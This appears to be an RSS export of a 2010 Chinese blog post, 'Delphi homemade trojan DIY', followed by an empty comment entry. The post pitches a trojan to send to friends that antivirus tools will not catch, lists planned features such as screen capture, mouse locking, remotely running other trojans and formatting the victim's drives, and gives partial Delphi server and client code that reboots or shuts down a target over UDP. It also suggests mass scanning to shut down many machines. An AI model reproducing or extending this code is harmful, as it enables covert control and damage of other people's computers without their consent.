<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[Heck's  Blog]]></title> 
<link>https://www.heckjj.com/index.php</link> 
<description><![CDATA[一瞬间的决定，往往可以改变很多，事实上，让自己成功的往往不是知识，是精神！ 如果你总是为自己找借口，那只好让成功推迟。执行力，今天！]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[Heck's  Blog]]></copyright>
<item>
<link>https://www.heckjj.com/delphi-self-make-trojan-diy-html/</link>
<title><![CDATA[delphi自制木马DIY]]></title> 
<author>Heck &lt;@hecks.tk&gt;</author>
<category><![CDATA[编程杂谈]]></category>
<pubDate>Wed, 27 Oct 2010 02:59:36 +0000</pubDate> 
<guid>https://www.heckjj.com/delphi-self-make-trojan-diy-html/</guid> 
<description>
<![CDATA[ 
	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="font-family: 微软雅黑;">大家好呀，Heck最近查阅了一些资料，找了一些大家应该很感兴趣的东东，现在各种杀毒软件搞得冰河等等木马鼠串，没有容身之地，你自己做一个木马就不一样了，嘿嘿，发给你的好友，杀得出来才怪事情。<br/>UDP协议用处多多，现在让我们用它来搞一个木马，一个简单的搞恶作剧的木马。首先，我们列举一下应该实现的功能，能对目标机进行关闭重启动；能让对方两眼一抹黑，黑屏，并且能解除；给对方弹点调侃的消息框；能把对方的鼠标锁定在某个区域内；能隐藏或者显示对方桌面；能抓屏，看看她（他）在干什么；能让对方的光驱像得了抽风病一样进进出出；能在对方机器上远程运行点其他木马什么什么的；直接格式化对方逻辑盘，C:盘也可以在重新启动后格式化（此招太黑，不可乱用）。<br/>能对本文产生兴趣的朋友，一定对远程控制程序结构不陌生，服务端和客户端，我们先不讨论怎么实现服务端的隐藏运行，先来看看实现第一个功能，远程关机的实现，我们调用API函exitwindowsex。服务端的程序头如下<br/>unit Server;<br/>interface<br/>uses<br/>Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, NMUDP, StdCtrls,shellapi,mmsystem;<br/>//记住加上shellapi,mmsystem;<br/>type<br/>TForm1 = class(TForm)<br/>Button1: TButton;<br/>Button2: TButton;<br/>CUDP: TNMUDP;<br/>procedure Button1Click(Sender: TObject);<br/>procedure Button2Click(Sender: TObject);<br/>procedure FormCreate(Sender: TObject);<br/>procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;<br/>FromIP: String; Port: Integer);<br/>procedure FormDestroy(Sender: TObject);<br/>private<br/>procedure winexit(var msg:Tmessage);message WM_QUERYENDSESSION;<br/>//拦截WM_QUERYENDSESSION消息并处理</span><span style="font-family: 微软雅黑;"><br/>&#123; Private declarations &#125;<br/>public<br/>&#123; Public declarations &#125;<br/>end;<br/><br/>var<br/>Form1: TForm1;<br/><br/>implementation<br/>const BufSize=2048;&#123; 发送每一笔数据的缓冲区大小 &#125;<br/>var<br/>BmpStream:TMemoryStream;<br/><br/>&#123;$R *.DFM&#125;<br/>这个远程控制的原理是客户端通过发送控制码让服务端实现相应的操作，下面是服务端DataReceived事件<br/><br/>procedure TForm1.CUDPDataReceived(Sender: TComponent;<br/>NumberBytes: Integer; FromIP: String; Port: Integer);<br/>var<br/>CtrlCode:array[0..250] of char;<br/>Trun:string;<br/>hDesktop : Thandle;<br/>forc,ford:textfile;<br/>//定义向Autoexec.bat写格式化命令，以后用到<br/>begin<br/>CUDP.ReadBuffer(CtrlCode,NumberBytes);<br/>if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]+CtrlCode[6]=&#039;restart&#039; then<br/>//重新启动计算机<br/>ExitWindowsEx(EWX_REBOOT,2);<br/><br/>if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]=&#039;close&#039; then<br/>//关闭计算机<br/>ExitWindowsEx(EWX_SHUTDOWN and EWX_POWEROFF ,1);<br/>end;<br/><br/>服务端程序雏形就形成了，让我们来添砖加瓦，实现丰富的功能。再来说一下客户端的基本实现，也加入一个NMUDP控件，程序头如下<br/>unit Server;<br/><br/>interface<br/><br/>uses<br/>Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,<br/>Menus, NMUDP, StdCtrls;<br/><br/>type<br/>TForm1 = class(TForm)<br/>SUDP: TNMUDP;<br/>MainMenu1: TMainMenu;<br/>WIndows1: TMenuItem;<br/>N1: TMenuItem;<br/>N2: TMenuItem;<br/>N3: TMenuItem;<br/>N4: TMenuItem;<br/>N5: TMenuItem;<br/>N6: TMenuItem;<br/>N7: TMenuItem;<br/>N8: TMenuItem;<br/>N9: TMenuItem;<br/>N10: TMenuItem;<br/>N11: TMenuItem;<br/>N12: TMenuItem;<br/>N13: TMenuItem;<br/>N14: TMenuItem;<br/>N15: TMenuItem;<br/>N16: TMenuItem;<br/>N17: TMenuItem;<br/>N18: TMenuItem;<br/>N19: TMenuItem;<br/>N20: TMenuItem;<br/>N21: TMenuItem;<br/>N22: TMenuItem;<br/>N23: TMenuItem;<br/>Edit2: TEdit;<br/>StaticText1: TStaticText;<br/>procedure FormCreate(Sender: TObject);<br/>procedure FormDestroy(Sender: TObject);<br/>procedure N1Click(Sender: TObject);<br/>procedure N2Click(Sender: TObject);<br/>procedure N4Click(Sender: TObject);<br/>procedure N5Click(Sender: TObject);<br/>procedure N7Click(Sender: TObject);<br/>procedure N9Click(Sender: TObject);<br/>procedure N10Click(Sender: TObject);<br/>procedure N13Click(Sender: TObject);<br/>procedure N12Click(Sender: TObject);<br/>procedure N15Click(Sender: TObject);<br/>procedure N16Click(Sender: TObject);<br/>procedure N17Click(Sender: TObject);<br/>procedure N18Click(Sender: TObject);<br/>procedure N19Click(Sender: TObject);<br/>procedure N20Click(Sender: TObject);<br/>procedure N21Click(Sender: TObject);<br/>procedure N22Click(Sender: TObject);<br/>procedure N23Click(Sender: TObject);<br/>private<br/>procedure winexit(var msg:tmessage);message wm_queryendsession;<br/>&#123; Private declarations &#125;<br/>public<br/>&#123; Public declarations &#125;<br/>end;<br/><br/>var<br/>Form1: TForm1;<br/><br/>implementation<br/>const BufSize=2048;<br/>var<br/>RsltStream,TmpStream:TMemoryStream;<br/><br/>&#123;$R *.DFM&#125;<br/><br/>procedure TForm1.FormCreate(Sender: TObject);<br/>begin<br/>RsltStream:=TMemoryStream.Create;<br/>TmpStream:=TMemoryStream.Create;<br/>end;//创建数据流<br/><br/>procedure TForm1.N1Click(Sender: TObject);<br/>var<br/>ReqCode:array[0..29] of char;<br/>ReqCodeStr:string;<br/>begin<br/>ReqCodeStr:=&#039;restart&#039;;<br/>StrpCopy(ReqCode,ReqCodeStr);<br/>TmpStream.Clear;<br/>RsltStream.Clear;<br/>SUDP.RemoteHost:=Edit2.Text;<br/>SUDP.SendBuffer(ReqCode,30);<br/>end;//发送重启指令<br/><br/>procedure TForm1.N2Click(Sender: TObject);<br/>var ReqCode:array[0..29] of char;ReqCodeStr:string;<br/>begin<br/>ReqCodeStr:=&#039;close&#039;;<br/>StrpCopy(ReqCode,ReqCodeStr);<br/>TmpStream.Clear;<br/>RsltStream.Clear;<br/>SUDP.RemoteHost:=Edit2.Text;<br/>SUDP.SendBuffer(ReqCode,30);<br/>end;发送关机指令<br/><br/>里面用到的edit，menu等控件就让读者自己加到form上了，相信大家应该看得懂，以后陆续贴出实现其他功能的代码，主体就是上面的程序。其实远程关机不仅仅用在木马上面，由于使用的是UDP协议，把客户端做成扫描，就可以可以实现大面积的扫描关机，非常方便，不需要一个一个连上去再关，Heck就准备用来管理机房计算机。</span><br/>Tags - <a href="https://www.heckjj.com/tags/%25E6%259C%25A8%25E9%25A9%25AC/" rel="tag">木马</a> , <a href="https://www.heckjj.com/tags/delphi/" rel="tag">delphi</a>
]]>
</description>
</item><item>
<link>https://www.heckjj.com/delphi-self-make-trojan-diy-html/#blogcomment</link>
<title><![CDATA[[评论] delphi自制木马DIY]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>https://www.heckjj.com/delphi-self-make-trojan-diy-html/#blogcomment</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>